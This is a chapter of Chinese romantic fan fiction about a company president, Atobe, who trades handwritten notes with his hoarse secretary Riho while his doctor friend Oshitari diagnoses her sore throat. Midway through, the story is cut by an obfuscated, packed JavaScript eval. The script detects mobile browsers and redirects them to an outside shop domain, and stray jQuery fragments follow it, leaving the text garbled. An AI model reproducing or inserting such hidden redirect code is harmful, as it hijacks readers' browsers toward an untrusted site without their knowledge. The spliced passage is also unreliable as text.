然而理穗含了几天的润喉糖,嗓子仍是疼着,甚至有愈加严重的趋势。
对此,迹部也觉得纳闷。
马上就打了个电话给当时提出建议的某忍足军师:“你确定那盒润喉糖有用?”
“那个我说……”忍足的声音里还满是困意,“下次打电话之前能看看时间吗?今天难得休假在家。”
结果一大早被某人的电话吵醒了。
不过吐槽归吐槽,他也没忘回答他的话:“当然有用。而且你这声音不是挺正常吗?”
“不是我,”迹部揉了揉眉心,“是我的新秘书。”
忍足意味不明地“嗯”了声,语调上扬:“她现在还是说不出话?”
“能说,但是声音哑着。”听得他都替她感觉到难受。
“那嗓子疼吗?”
“我问问。”
放下手中的电话,迹部迈开步子往门外走。
首席秘书的办公桌就在总裁办公室的门口。他一出来,理穗就条件反射性地起身向他问好。
她几乎是捏着嗓子,艰难地蹦出了“总裁”。
听到她这哑得能和机器人相比的声音,迹部想要问出来的话到嘴边又咽下了。
走近她的办公桌,在一叠叠文件、笔记本上扫了一眼过去。
理穗以为总裁要突袭检查工作,故下意识地挺直了腰板:“您是需要……”
“嘘。”他竖起食指抵在唇瓣上,眼神仍停留在桌面。
理穗一怔。
感觉大少爷今天神神秘秘的。
忽然他的眼神闪了下,从角落的便签本上撕下一张纸。
拿起笔在上面一顺一划地写下几个字——【喉咙疼吗?】
理穗:“?”
这几个字他写得格外慢,像小学生一样仔细到每一个笔画。
她摊开手掌示意对方把笔递给她。
迹部愣了下,接着顺从她的意思把笔放入她那小小的掌心里,只见女孩低头在他的下一行写上了:【疼。】
就这么一个字,她写得也格外端正。
指尖因为发力而变白,看上去也像个乖乖写作业的小学生。
在她写字时,迹部挑高了眉梢,嘴角忍不住勾起笑意。
理穗抬头时,余光恰好将他方才一闪而过的笑意收入眼底。
“好了,继续工作吧。”大少爷留下这么一句话,转身就又走进了办公室里。
举起那张便签,她从不同角度都打量了几眼,还是没发现有什么问题。
所以,总裁到底为什么忽然就笑得那么灿烂了?
——这成了理穗接下来一整天都困惑的事情。
“她疼。”迹部举起电话对那头继续说道。
回到办公室后,他嘴角的笑意仍没有减淡。
正要睡过去,忽然耳边传来了迹部的声音,忍足再一次被吵醒。
不过身为医生,他还是忍着困意说道:“那就可能是上火发炎导致的了,让她下班后到附近医院看看吧。”
下班之后……迹部看了一眼平板上女孩标注的今日行程表。
除了中午有一小段时间之外,几乎全是被排满的。而且现在去医院还需要提前预约医生。
正发愁时,迹部大少爷忽然想起什么,抚着泪痣状似随意地问:“你说你今天休假?”
忍足沉默了……
听这意思,该不会是要他去吧?
“没错。”迹部从好友的沉默中读懂了他的猜测,“顺便中午一起吃饭。”
“……”
忍足看了一眼手机时间,叹息着这懒觉大概是要睡不成了。
*
一整个早上,迹部几乎都没有让理穗开口讲几句话。
而桌面上的便签纸倒是一张一张地撕得很麻溜。
迹部:【上周的会议记录整理完了吧?】
理穗:【是的。】
迹部:【所以现在是不是该交出来给我看了呢?】
理穗:【好的。】
迹部:【中午改订一家法式餐厅,有客人一起用餐。】
理穗:【好的。】
每一张便签上都是迹部工工整整的字迹。而理穗的回应基本都是“是的”、“好的”。
看到她低头写字的时候,迹部就忍不住地想笑。
这让理穗越来越好奇了。
终于有一次,在迹部要问她之前,理穗先问道:【总裁今天心情很好?】
迹部不置可否地笑了下:【还不错。】
理穗:【是因为?】
迹部没想到她会问下去,瞥了一眼她的头发:【头绳挺好看。】
是嘛……
她总觉得另有隐情。
不过一上午嗓子都得到了很好的保护,这让理穗感到舒服不少。
至少不需要捏着嗓子,并且用那低沉得可怕的声音和别人说话了。
迹部总裁真是个既体贴,又有绅士风度的好人!今天也是想投入死对头公司怀抱里的一天!
*
稍晚一些的时候,忍足终于来了。
还没和一个月没有见面的迹部叙叙旧,就马上被安排给他的小秘书看病了。
“是发炎了。”忍足仔细检查了一遍她的喉咙得出结论。
他瞟了一眼迹部,问道:“最近有没有吃上火的东西?”
他记得迹部用三餐的时候,秘书也是陪同一起的。之前桦地便是这样。
所以这淡淡的一瞟,实则是在暗暗地审问大少爷。
“本大爷都是带她吃清淡的。”迹部也看了回去。
不是说女孩子吃油辣的皮肤会长痘变差什么的……这是他第一位女性首席秘书,所以迹部特意去查了一下。
那么问题就只能出在……两人又将目光移到理穗身上。
她心虚:“最近吃了一点……”
“一点?”两人同时反问道。
被重复问了一句,理穗也愣了一下,开始在脑袋里回忆。
不过是吃了一点点小吃街的——
炸小肉丸麻辣牛板筋关东煮串串香铁板豆腐酱香烧饼绝味鸭脖爆炒鱿鱼圈……
仅此而已。
于是,她非常坦荡地点点头:“嗯,一点!”
忍足和迹部无声地对视一眼。
看来是吃了不少。
等到忍足和理穗交代完生活上需要注意的事项后,迹部便让她先出去了。
“这就是你说的可能是卧底的秘书?”
“嗯哼。”
“我怀疑你是在借着这个理由满足自己的小心思,”忍足玩味地看着他,“你说她哪点像能做卧底的样子?”
迹部理直气壮:“就是这样的人才适合做卧底,你看,已经让你放松警惕了。”
自己的公司,大少爷说什么都是对的。
不过忍足还是感到有点意外,他第一眼看到这个女孩,猜测应该是个内向,不善于交际的人。
原来迹部喜欢这样的?不对啊,带他入漫画坑的时候,他夸赞过的好像不是这个类型啊?
他多问了一句:“哪样的人?”
迹部靠在椅背上,长臂随意搭着一旁的扶手。摩挲着眼下的泪痣,望着门口的方向若有所思。
过了一会才缓缓答道:“脑回路很单纯,虽然生病的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17748218|209366||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时候会有点短路。”
但是却笨得莫名可爱。
忍足看着他那不断上扬的嘴角,总觉得大少爷有点不对劲。
像小说和漫画里男主角迷恋上女主的样子。
凭借多年阅书经历,他终于找到了适合形容的话。
“啊嗯?”迹部收敛笑容,瞟了他一眼,“任谁知道了这件事都会觉得......”
差一点忍不住说“可爱”,还好大少爷刹住了车,改口成了“有点笨”。
忍足做了个“请”的手势:“洗耳恭听。”
两分钟后——
总裁办公室里发出一阵欢快的笑声。
“可是迹部...”忍足真的太想吐槽了,“我觉得你好像更......脑回路更单纯诶?”
他当然不敢在大少爷面前说“你好笨”这样的话。
“怎么?”迹部好奇地挑眉。
忍足强憋住笑意:“她写字是因为她没办法说话,可是你能啊!”
“所以,你为什么...不直接说呢?”
为什么不直接开口说呢?
为什么......
“......”
接下来的半天时间内,迹部大少爷第一次对自己的脑回路产生了怀疑。
连带着看理穗时的目光也有些躲闪,弄得她更加莫名其妙了。
大少爷这会好像又不是那么高兴了?
*
下班之前,迹部特意又叮嘱了理穗几句,让她别吃上火的东西了。
“晚上别去你家附近那小吃街。”
“......”
这都能猜出来?!
迹部将她惊讶的一瞬间收入眼底,语气似是威胁:“如果嗓子一直这样的话,那我就要考虑......”
“不,不会了。”理穗急忙阻止他把后面的话说出来。
她还不想被炒鱿鱼啊!
迹部忽然勾起嘴角笑了,有些无奈:“我有没有提醒过你别自己在那脑补?我是说,就要考虑晚餐给你增加份量,这样就吃不下那些小吃了吧?”
理穗认同地点头。
但其实内心是——
离开了家她就是老大,谁能管得住?
“好了,记得吃药。”迹部暗叹了口气补充道。
话又说回来,对于迹部的关心,她真的感激涕零,哑声喊道:“谢谢总裁!”
好想一辈子跟着这种上司混。
*
洗完澡躺倒在床中央,理穗开始研究那几张便签纸。
所以到底是为什么今天的总裁又笑又恼的呢?
百思不得其解,于是理穗用气音将上面的对话复述了一遍。并且还站起身来,有模有样地两边交换位置,模拟两个人的对话。
“上周的会议记录整理完了吧?”——切换到迹部大总裁的语气
“是的。”——恭敬地点头回答。
“所以现在是不是该交出来给我看了呢?”——大少爷居高临下地看着她。
“好的。”——职业性假笑地点点头......
等等!好像发现了什么不太对劲的事情。
理穗又重复了一遍刚才的那句“是的”和“好的”,并且下意识地轻轻点头。
轻轻地...点点头。
生病后被延长的反射弧终于到位,理穗恨自己不成器地一拍脑门——
明明她可以直接用「点头」或者「摇头」回答的......
所以到底是为什么要费劲写一遍呢?
还写了这么多张的“是的”,就像是……
迹部故意问她的一样?!